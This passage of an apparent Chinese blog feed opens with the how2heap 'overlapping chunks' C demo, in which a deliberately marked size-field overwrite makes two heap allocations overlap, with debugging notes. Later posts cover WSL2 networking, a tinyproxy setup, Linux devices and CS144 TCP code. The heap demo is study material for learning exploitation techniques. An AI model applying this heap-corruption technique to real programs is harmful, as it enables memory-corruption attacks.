首先分配三个chunk，大小依次为0x80,0x500,0x80,实际可以使用的空间为0x78,0x4f8,0x78</span></span><br><span class="line">p1 = <span class="built_in">malloc</span>(<span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line">p2 = <span class="built_in">malloc</span>(<span class="number">0x500</span> - <span class="number">8</span>);</span><br><span class="line">p3 = <span class="built_in">malloc</span>(<span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n&quot;</span>, p1, p2, p3);</span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(p1, <span class="string">&#x27;1&#x27;</span>, <span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"><span class="built_in">memset</span>(p2, <span class="string">&#x27;2&#x27;</span>, <span class="number">0x500</span> - <span class="number">8</span>);</span><br><span class="line"><span class="built_in">memset</span>(p3, <span class="string">&#x27;3&#x27;</span>, <span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 2. 伪造第二个chunk的size域，让其囊括到第三个chunk，先释放，然后分配一块等于我们伪造的chunk大小。</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now let&#x27;s simulate an overflow that can overwrite the size of the\nchunk freed p2.\n&quot;</span>);</span><br><span class="line"><span class="type">int</span> evil_chunk_size = <span class="number">0x581</span>;</span><br><span class="line"><span class="type">int</span> evil_region_size = <span class="number">0x580</span> - <span class="number">8</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n&quot;</span>,</span><br><span class="line"> evil_chunk_size, evil_region_size);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* VULNERABILITY */</span></span><br><span class="line">*(p2<span class="number">-1</span>) = evil_chunk_size; <span class="comment">// we are overwriting the &quot;size&quot; field of chunk p2</span></span><br><span class="line"><span class="comment">/* VULNERABILITY */</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow let&#x27;s free the chunk p2\n&quot;</span>);</span><br><span class="line"><span class="built_in">free</span>(p2);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow let&#x27;s allocate another chunk with a size equal to the data\n&quot;</span></span><br><span class="line">       <span class="string">&quot;size of the chunk p2 injected size\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;This malloc will be served from the previously freed chunk that\n&quot;</span></span><br><span class="line">       <span class="string">&quot;is parked in the unsorted bin which size has been modified by us\n&quot;</span>);</span><br><span class="line">p4 = <span class="built_in">malloc</span>(evil_region_size);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\np4 has been allocated at %p and ends at %p\n&quot;</span>, (<span class="type">char</span> *)p4, (<span class="type">char</span> *)p4+evil_region_size);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 starts at %p and ends at %p\n&quot;</span>, (<span class="type">char</span> *)p3, (<span class="type">char</span> *)p3<span class="number">+0x80</span><span class="number">-8</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 should overlap with p3, in this case p4 includes all p3.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,&quot;</span></span><br><span class="line">   <span class="string">&quot; and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//3. 修改伪造chunk可以影响其他块。</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Let&#x27;s run through an example. Right now, we have:\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 = %s\n&quot;</span>, (<span class="type">char</span> *)p4);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 = %s\n&quot;</span>, (<span class="type">char</span> *)p3);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nIf we memset(p4, &#x27;4&#x27;, %d), we have:\n&quot;</span>, evil_region_size);</span><br><span class="line"><span class="built_in">memset</span>(p4, <span class="string">&#x27;4&#x27;</span>, evil_region_size);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 = %s\n&quot;</span>, (<span class="type">char</span> *)p4);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 = %s\n&quot;</span>, (<span class="type">char</span> *)p3);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nAnd if we then memset(p3, &#x27;3&#x27;, 80), we have:\n&quot;</span>);</span><br><span class="line"><span class="built_in">memset</span>(p3, <span class="string">&#x27;3&#x27;</span>, <span class="number">0x80</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 = %s\n&quot;</span>, (<span class="type">char</span> *)p4);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 = %s\n&quot;</span>, (<span class="type">char</span> *)p3);</span><br><span class="line"></span><br><span class="line"><span class="built_in">assert</span>(<span class="built_in">strstr</span>((<span class="type">char</span> *)p4, (<span class="type">char</span> *)p3));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="调试过程"><a href="#调试过程" class="headerlink" title="调试过程"></a>调试过程</h3><ol><li><p>查看三个chunk在堆中的分布</p><p>第一个0x80 ,赋值为0x31；第二个0x500,赋值为0x32；第三个为0x80，赋值为0x33。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200549395.png" alt="image-20250525195556494"></p><ol start="2"><li><p>伪造chunk。</p><p>覆盖size区域。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200615749.png" alt="image-20250525200110436"></p><p>free之前的top chunk。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200622554.png" alt="image-20250525201440469"></p><p>先free，这里不会放到bin中，因为它和top chunk相邻，会被top chunk合并。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200630012.png" alt="image-20250525201455324"></p><p>通过malloc获得与其他块重叠的块。top chunk变回来，和free之前一样。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200635723.png" alt="image-20250525201520413"></p></li><li><p>重叠的块</p><p>这里刚好是全覆盖（我将代码中80改为了0x80）。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200642346.png" alt="image-20250525201929541"></p></li></ol></li></ol><h3 id="执行过程-2"><a href="#执行过程-2" class="headerlink" title="执行过程"></a>执行过程</h3><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200651104.png" alt="image-20250525202050690"></p><p>p3和p4结尾地址相同。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200659532.png" alt="image-20250525202124747"></p><p>可以通过修改p4来修改p3。</p>]]>
    </content>
    <id>http://example.com/2025/05/25/how2heap/</id>
    <link href="http://example.com/2025/05/25/how2heap/"/>
    <published>2025-05-25T00:00:00.000Z</published>
    <summary>
      <![CDATA[<p>对 how2heap 中的部分程序进行分析。</p>]]>
    </summary>
    <title>how2heap</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="计算机网络" scheme="http://example.com/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
    <category term="WSL2" scheme="http://example.com/tags/WSL2/"/>
    <content>
      <![CDATA[<p>介绍 NAT，镜像和桥接三种网络配置。</p><span id="more"></span><p><a href="https://learn.microsoft.com/zh-cn/windows/wsl/networking#default-networking-mode-nat">使用 WSL 访问网络应用程序 | Microsoft Learn</a></p><p>默认网络模式是<strong>NAT</strong>。</p><h3 id="NAT-模式"><a href="#NAT-模式" class="headerlink" title="NAT 模式"></a>NAT 模式</h3><h4 id="Windows-arrow-right-Linux"><a href="#Windows-arrow-right-Linux" class="headerlink" title="Windows :arrow_right: Linux"></a>Windows :arrow_right: Linux</h4><p>使用 localhost 从 Windows 应用直接访问 Linux 应用。</p><h4 id="Linux-arrow-right-Windows"><a href="#Linux-arrow-right-Windows" class="headerlink" title="Linux :arrow_right: Windows"></a>Linux :arrow_right: Windows</h4><p>使用主机 IP 从 Linux 访问 Windows 网络应用。</p><h3 id="镜像模式"><a href="#镜像模式" class="headerlink" title="镜像模式"></a>镜像模式</h3><p>Linux 与 Windows 共享网络堆栈 ，使得 WSL2 更像物理主机一样出现在网络上。</p><p><code>networkingMode=mirrored</code></p><h3 id="桥接模式"><a href="#桥接模式" class="headerlink" title="桥接模式"></a>桥接模式</h3><p>桥接到主机的网络接口。拥有独立 IP，能够被局域网发现。</p><p><code>networkingMode=bridged</code></p><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><p>附上我的镜像配置：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[wsl2]</span><br><span class="line">kernel=C:\\opt\\kernel_</span><br><span class="line">memory=8GB</span><br><span class="line">processors=8</span><br><span class="line">[experimental]</span><br><span class="line">autoMemoryReclaim=gradual</span><br><span class="line">networkingMode=mirrored</span><br><span class="line">dnsTunneling=true</span><br><span class="line">firewall=true</span><br><span class="line">autoProxy=true</span><br><span class="line">sparseVhd=true</span><br><span class="line">hostAddressLoopback=true</span><br><span class="line">[network]</span><br><span class="line">generateResolvConf = false</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>http://example.com/2025/04/09/wsl2%E5%92%8Cwin%E4%B8%BB%E6%9C%BA%E7%9A%84%E7%BD%91%E7%BB%9C%E6%98%A0%E5%B0%84%E5%85%B3%E7%B3%BB/</id>
    <link href="http://example.com/2025/04/09/wsl2%E5%92%8Cwin%E4%B8%BB%E6%9C%BA%E7%9A%84%E7%BD%91%E7%BB%9C%E6%98%A0%E5%B0%84%E5%85%B3%E7%B3%BB/"/>
    <published>2025-04-09T00:00:00.000Z</published>
    <summary>
      <![CDATA[<p>介绍 NAT，镜像和桥接三种网络配置。</p>]]>
    </summary>
    <title>WSL2 和 Win 主机的网络映射关系</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="计算机网络" scheme="http://example.com/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
    <category term="代理" scheme="http://example.com/tags/%E4%BB%A3%E7%90%86/"/>
    <content>
      <![CDATA[<p>前段时间一直在写 CS144，故来学习下代理的过程 代理原理的初步认识</p><span id="more"></span><h3 id="代理原理"><a href="#代理原理" class="headerlink" title="代理原理"></a>代理原理</h3><p>看这篇博客：<a href="https://keenjin.github.io/2020/03/proxy/">【网络技术】代理服务器原理</a></p><p>将原本需要直接访问的HTTP包，通过TCP封装直接（不用DNS，因为目标IP不是域名对应的IP，而是代理服务器的IP）发给代理服务器，代理服务器再将请求发送给WEB服务器。</p><h3 id="tinyproxy搭建"><a href="#tinyproxy搭建" class="headerlink" title="tinyproxy搭建"></a>tinyproxy搭建</h3><p>使用远程服务器作为代理，来访问域名。</p><ul><li>在 <code>/etc/tinyproxy/tinyproxy.conf </code> 中设置接入的端口，以及允许访问的IP。</li></ul><p>端口</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200948520.png" alt="image-20250328211531349"></p><p>注释代表全部IP均可访问，也可以自行设置。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200953386.png" alt="image-20250328211552315"></p><ul><li>开放防火墙端口</li></ul><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> firewall-cmd --permanent --add-port=13197/tcp</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> firewall-cmd --reload</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> firewall-cmd --list-ports  <span class="comment"># 检查</span></span><br></pre></td></tr></table></figure><p>在远程服务器部署TinyProxy（上网搜） 试了很多端口始终无法接通，腾讯云的问题,需要在服务器管理页面设置安全组，相当于是系统防火墙以外的墙。</p><p>遂换了台服务器，在本地使用 下面的命令</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -x http://&lt;ip&gt;:&lt;port&gt; -L https://www.baidu.com</span><br></pre></td></tr></table></figure><p>然后就可以返回网页内容。</p><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407200957188.png" alt="image-20250328210830912"></p>]]>
    </content>
    <id>http://example.com/2025/03/25/%E7%BD%91%E7%BB%9C%E4%BB%A3%E7%90%86/</id>
    <link href="http://example.com/2025/03/25/%E7%BD%91%E7%BB%9C%E4%BB%A3%E7%90%86/"/>
    <published>2025-03-25T00:00:00.000Z</published>
    <summary>
      <![CDATA[<p>前段时间一直在写 CS144，故来学习下代理的过程 代理原理的初步认识</p>]]>
    </summary>
    <title>网络代理</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="Linux" scheme="http://example.com/categories/Linux/"/>
    <content>
      <![CDATA[<p>在linux中，每个设备都被当做一个文件对待。在dev目录下包含了所有Linux操作系统使用的外部设备（注意不是驱动）。</p><span id="more"></span><p><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407201028661.png" alt="image-20250224211227992"></p><p>像我的WSL2就包括 sd[a-e] , 而这本质是通过虚拟化软件（Hyper-V) 将生成虚拟硬盘并映射为一个快设备。</p><p>常见设备：</p><blockquote><p>&#x2F;dev&#x2F;hd[a-t]：IDE设备<br>&#x2F;dev&#x2F;sd[a-z]：SCSI设备<br>&#x2F;dev&#x2F;fd[0-7]：标准软驱 &#x2F;dev&#x2F;md[0-31]：软raid设备<br>&#x2F;dev&#x2F;loop[0-7]：本地回环设备<br>&#x2F;dev&#x2F;ram[0-15]：内存<br>&#x2F;dev&#x2F;null：”空”设备<br>&#x2F;dev&#x2F;zero：”零”设备<br>&#x2F;dev&#x2F;tty[0-63]：虚拟终端<br>&#x2F;dev&#x2F;ttyS[0-3]：串口<br>&#x2F;dev&#x2F;lp[0-3]：并口<br>&#x2F;dev&#x2F;console：控制台 &#x2F;dev&#x2F;pty: 伪终端<br>&#x2F;dev&#x2F;pts: 虚拟终端<br>&#x2F;dev&#x2F;fb[0-31]：framebuffer<br>&#x2F;dev&#x2F;cdrom &#x3D;&gt; &#x2F;dev&#x2F;hdc 光盘设备 &#x2F;dev&#x2F;modem &#x3D;&gt; &#x2F;dev&#x2F;ttyS[0-9] 调制解调设备<br>&#x2F;dev&#x2F;random：随机数设备<br>&#x2F;dev&#x2F;urandom：随机数设备</p></blockquote><h2 id="参考读物"><a href="#参考读物" class="headerlink" title="参考读物"></a>参考读物</h2><p>鸟哥的Linux私房菜</p><p><a href="https://zyazhb.github.io/2020/08/30/linux-dev/">Linux &#x2F;dev目录文件详解 | ZYA’s Blog</a></p>]]>
    </content>
    <id>http://example.com/2025/03/19/linux%E4%B8%AD%E7%9A%84%E8%AE%BE%E5%A4%87/</id>
    <link href="http://example.com/2025/03/19/linux%E4%B8%AD%E7%9A%84%E8%AE%BE%E5%A4%87/"/>
    <published>2025-03-19T00:00:00.000Z</published>
    <summary>
      <![CDATA[<p>在linux中，每个设备都被当做一个文件对待。在dev目录下包含了所有Linux操作系统使用的外部设备（注意不是驱动）。</p>]]>
    </summary>
    <title>Linux中的设备</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="计算机网络" scheme="http://example.com/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
    <category term="CS144" scheme="http://example.com/tags/CS144/"/>
    <content>
      <![CDATA[<p>由于之前赶着做CS144，一直没有把Minnow的源代码好好看看，现在有时间了，准备将代码逻辑缕缕，看看是如何将包从发送方发出，并一步步到达接收方。</p><span id="more"></span><p>首先从TCP发送方接收方的耦合开始。</p><h2 id="checkpoint-0"><a href="#checkpoint-0" class="headerlink" title="checkpoint 0"></a>checkpoint 0</h2><p>webget.cc 这个文件引用了 socket.hh头文件，查看一下。</p><p>首先定义了一个Socket类，通常不直接使用该类，而是使用其子类TCPSocket或者UDPSocket。注意Socket类的基类是 FileDescripter。</p><p>Socket 中定义了一些常用的方法(如构造函数），并用protected修饰，只能由子类或者该类的友元类和友元函数访问，不能被外界代码访问。</p><ul><li>默认构造函数</li></ul><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// default constructor for socket of (subclassed) domain and type</span></span><br><span class="line"><span class="comment">//! \param[in] domain is as described in [socket(7)](\ref man7::socket), probably `AF_INET` or `AF_UNIX`</span></span><br><span class="line"><span class="comment">//! \param[in] type is as described in [socket(7)](\ref man7::socket)</span></span><br><span class="line">Socket::<span class="built_in">Socket</span>( <span class="type">const</span> <span class="type">int</span> domain, <span class="type">const</span> <span class="type">int</span> type, <span class="type">const</span> <span class="type">int</span> protocol )</span><br><span class="line">  : <span class="built_in">FileDescriptor</span>( ::<span class="built_in">CheckSystemCall</span>( <span class="string">&quot;socket&quot;</span>, <span class="built_in">socket</span>( domain, type, protocol ) ) ) <span class="comment">// 这里是在初始化基类</span></span><br><span class="line">&#123;&#125;</span><br></pre></td></tr></table></figure><p>其中 domain描述了沟通的域， 即协议家族，常见的有 <code>AF_UNIX</code> （用于本地通信）和 <code>AF_INET</code> (用于IPV4通信)。</p><p>type描述了沟通语法。例如：SOCK_STREAM 支持有序，可靠，双工，连接的字节流，可能支持外带数据的传送机制。</p><p>SOCK_DGRAM 支持 数据报（ 无连接，固定最大长度的不可靠报文）</p><p>protocol描述了描述了套接字使用的特别的协议。多数情况，协议家族只支持一种协议，这样就将protocol置0，少数情况下，就需要描述使用的协议类型。</p><ul><li>使用文件描述符构造</li></ul><p>与上面类似</p><p>不过使用确定的文件描述符来构造套接字。</p><p>然后就是其他一些成员函数，获取地址，监听端口等等。</p><h2 id="checkpoint-4"><a href="#checkpoint-4" class="headerlink" title="checkpoint 4"></a>checkpoint 4</h2><p>还记得 我当时写这个<a href="https://github.com/hx294/cs144-2024winter/blob/main/writeups/Lab_check4.md">Lab</a>时，将webget的头文件添加了 <code>\#include &quot;tcp_minnow_socket.hh&quot;</code>，让我们一起剖析一下这个头文件。</p><p>这里面定义了 CS144TCPSocket（继承自 TCPMinnowSocket)  ， 由于webget.cc 中使用的就是这个，说明它集成了我们所有的实现。</p><p>这个文件引用了 tcppeer。</p><p>TCPPeer类，模拟对等体，将TCPSender和TCPReciver结合起来，里面还出现了TCPMessage（包括将报文段和确认报文一起发送，记住TCP是双向的，这是捎带确认）。</p><p>声明了 TCPMinnowSocket类，继承自LocalStreamSocket类。</p><p>TCPMinnowSocket 是TCPPeer类的多线程封装，模拟Unix套接字。</p><p>构造函数使用了适配器TCPOverIPv4OverTunFdAdapter（使不兼容的对象能够相互合作）。</p><p>通过该适配器，读取和写入[TUN设备](<a href="https://en.wikipedia.org/wiki/TUN/TAP">TUN&#x2F;TAP - Wikipedia</a>)，<strong>TUN设备用于内核网络协议栈（链路层）和用户空间之间传递数据</strong>，<strong>是虚拟的网络接口</strong>。使得链路层及以下变得透明。</p><h3 id="TUN设备"><a href="#TUN设备" class="headerlink" title="TUN设备"></a>TUN设备</h3><p>TCPOverIPv4OverTunFdAdapter有一个成员变量  TunFD ，这是TUN设备的文件描述符，这样我们就可以在用户态将IP数据报度写入内核。</p><p>再看看 CS144TCPSocket  的 connect 函数：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">connect</span><span class="params">( <span class="type">const</span> Address&amp; address )</span></span></span><br><span class="line"><span class="function">  </span>&#123;</span><br><span class="line">    TCPConfig tcp_config;</span><br><span class="line">    tcp_config.rt_timeout = <span class="number">100</span>;</span><br><span class="line"></span><br><span class="line">    FdAdapterConfig multiplexer_config;</span><br><span class="line">    multiplexer_config.source = &#123; <span class="string">&quot;169.254.144.9&quot;</span>, std::<span class="built_in">to_string</span>( <span class="built_in">uint16_t</span>( std::<span class="built_in">random_device</span>()() ) ) &#125;;</span><br><span class="line">    multiplexer_config.destination = address;</span><br><span class="line"></span><br><span class="line">    TCPOverIPv4MinnowSocket::<span class="built_in">connect</span>( tcp_config, multiplexer_config );</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>首先定义了TCPConfig，用于 配置TCP的参数。通过FdAdapterConfig 配置原地址和目标地址信息。然后使用父类 TCPOverIPv4MinnowSocket（TCPMinnowSocket<TCPOverIPv4OverTunFdAdapter>）的connect函数，继续连接目标地址。</p><p>在TCPMinnowSocket的connect的函数中将发送者的transmit函数设置为向适配器写入的函数，这样当发送方发送时，实际上是写入到TUN设备中。</p><p>那么接收方是如何从TUN设备读取数据呢？</p><p>找到了部分代码</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( <span class="keyword">auto</span> seg = _datagram_adapter.<span class="built_in">read</span>() ) &#123;</span><br><span class="line">        _tcp-&gt;<span class="built_in">receive</span>( std::<span class="built_in">move</span>( seg.<span class="built_in">value</span>() ), [&amp;]( <span class="keyword">auto</span> x ) &#123; _datagram_adapter.<span class="built_in">write</span>( x ); &#125; );</span><br><span class="line">      &#125;</span><br></pre></td></tr></table></figure><p>这里通过从TUN设备中获取数据，再将其交给TCPPeer。</p><p>至此我们弄明白，CS144TCPSocket通过使用TCPPeer（简单理解为我们写的代码的集合），构造TCP报文段，通过适配器转化为IP报文并写入TUN设备（也是通过文件描述符）中，接下来的所有事就交由给内核处理。 反之则从TUN设备中读取IP报文段，转化为 TCP报文段，然后通过TCPPeer转化为字节流，交付给上层进程。</p><h3 id="TCPMinnowSocket中的两个线程"><a href="#TCPMinnowSocket中的两个线程" class="headerlink" title="TCPMinnowSocket中的两个线程"></a>TCPMinnowSocket中的两个线程</h3><p>TCPMinnowSocket 和 正常的TCPSocket的区别：</p><ul><li>只能接收单个连接</li><li>listen_and_accept 是 listen和accept的结合</li><li>如果在TCP连接时被销毁，会直接发送RST终止，但可以通过wait_until_close 来避免，从而四次挥手。</li></ul><p>一个前台线程，使得和<code>TCPMinnowSocket</code>交互就像和TCPSocket交互一样： 连接，侦听和从可靠字节流（TCP）中读取。</p><p>另一个是后台（TCPPeer）线程，负责处理内核为TCPSocket所执行的后台工作： 读取和解析网络上的数据报，过滤无关报文段等。</p><p>后台线程 监听事件通过eventloop完成，eventloop在TCP初始化中加入了三种事件的规则：</p><ul><li>接收到的数据报，经过适配器的解析，交给TCPPeer, 然后TCPPeer将其分解为TCPSenderMessage和TCPReciverMessage ，TCPSenderMessage交给 TCPReciver 处理（Reassembler， 等等）， TCPReciverMessage交给 TCPSender处理。</li><li>从本地程序收到的外出比特， TCPMinnowSocket 的 描述符和_thread_data (用来进程间传送数据) 是一对LocalStreamsocket。外部程序向CS144TCPSocket 写入，就会传送（本质上还是TCP）到 _thread_data，从而后台线程就可以读取。</li><li>接收到的被Reassembler重组的字节流，同样需要写入thread_data然后被应用程序读取。</li></ul><p>我们实现的TCP，仅支持监听和接收一条线路，不支持多路复用和排队。</p><h3 id="TUN设备会接收哪些IP数据报？"><a href="#TUN设备会接收哪些IP数据报？" class="headerlink" title="TUN设备会接收哪些IP数据报？"></a>TUN设备会接收哪些IP数据报？</h3><p>查看tun.sh</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">TUN_IP_PREFIX=169.254</span><br><span class="line"><span class="function"><span class="title">start_tun</span></span> () &#123;</span><br><span class="line"><span class="comment"># 第一个参数作为TUNNUM，是设备编号，命名为tun#</span></span><br><span class="line">    <span class="built_in">local</span> TUNNUM=<span class="string">&quot;<span class="variable">$1</span>&quot;</span> TUNDEV=<span class="string">&quot;tun<span class="variable">$1</span>&quot;</span> </span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 添加tun设备</span></span><br><span class="line">    ip tuntap add mode tun user <span class="string">&quot;<span class="variable">$&#123;SUDO_USER&#125;</span>&quot;</span> name <span class="string">&quot;<span class="variable">$&#123;TUNDEV&#125;</span>&quot;</span></span><br><span class="line">    <span class="comment"># 给 tun144 配置ip地址</span></span><br><span class="line">    ip addr add <span class="string">&quot;<span class="variable">$&#123;TUN_IP_PREFIX&#125;</span>.<span class="variable">$&#123;TUNNUM&#125;</span>.1/24&quot;</span> dev <span class="string">&quot;<span class="variable">$&#123;TUNDEV&#125;</span>&quot;</span></span><br><span class="line">    <span class="comment"># 启动tun设备</span></span><br><span class="line">    ip <span class="built_in">link</span> <span class="built_in">set</span> dev <span class="string">&quot;<span class="variable">$&#123;TUNDEV&#125;</span>&quot;</span> up</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 配置流经tun设备的目标网段</span></span><br><span class="line">    ip route change <span class="string">&quot;<span class="variable">$&#123;TUN_IP_PREFIX&#125;</span>.<span class="variable">$&#123;TUNNUM&#125;</span>.0/24&quot;</span> dev <span class="string">&quot;<span class="variable">$&#123;TUNDEV&#125;</span>&quot;</span> rto_min 10ms</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Apply NAT (masquerading) only to traffic from CS144&#x27;s network devices</span></span><br><span class="line">    <span class="comment"># 为tun设备的数据在路由前打标签，现在linux服务器相当于路由器实现转发功能。</span></span><br><span class="line">    iptables -t nat -A PREROUTING -s <span class="variable">$&#123;TUN_IP_PREFIX&#125;</span>.<span class="variable">$&#123;TUNNUM&#125;</span>.0/24 -j CONNMARK --set-mark <span class="variable">$&#123;TUNNUM&#125;</span></span><br><span class="line">    <span class="comment"># 刚才打标签的数据报伪造成服务器ip，实现nat</span></span><br><span class="line">    iptables -t nat -A POSTROUTING -j MASQUERADE -m connmark --mark <span class="variable">$&#123;TUNNUM&#125;</span></span><br><span class="line">    <span class="comment"># 让服务器像路由器一样，转发接收到的数据报。</span></span><br><span class="line">    <span class="built_in">echo</span> 1 &gt; /proc/sys/net/ipv4/ip_forward</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="checkpoint-7"><a href="#checkpoint-7" class="headerlink" title="checkpoint 7"></a>checkpoint 7</h2><p><img src="https://github.com/hx294/cs144-2024winter/raw/main/writeups/.Lab_check7pict/image-20250214100950522.png" alt="image-20250214100950522"></p><p>服务器和客户端，通过中继服务器连接。</p><p>如果没有中继服务器，那么服务器和客户端在同一个NAT网络下，能否进行交互呢？</p><p>答案应该是不能，因为一个是在192.168.0.1网段下的，另一个是在172.16.0.1 网段下的，而路由器不能识别这些ip源地址。</p><p>所以在这部分中，使用UDP将以太网帧封装，才能发送出去。</p><p>配置路由：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( is_client ) &#123;</span><br><span class="line">    host_side = router.<span class="built_in">add_interface</span>( <span class="built_in">make_shared</span>&lt;NetworkInterface&gt;(</span><br><span class="line">      <span class="string">&quot;host_side&quot;</span>, router_to_host, <span class="built_in">random_router_ethernet_address</span>(), Address &#123; <span class="string">&quot;192.168.0.1&quot;</span> &#125; ) );</span><br><span class="line">    internet_side = router.<span class="built_in">add_interface</span>( <span class="built_in">make_shared</span>&lt;NetworkInterface&gt;(</span><br><span class="line">      <span class="string">&quot;internet side&quot;</span>, router_to_internet, <span class="built_in">random_router_ethernet_address</span>(), Address 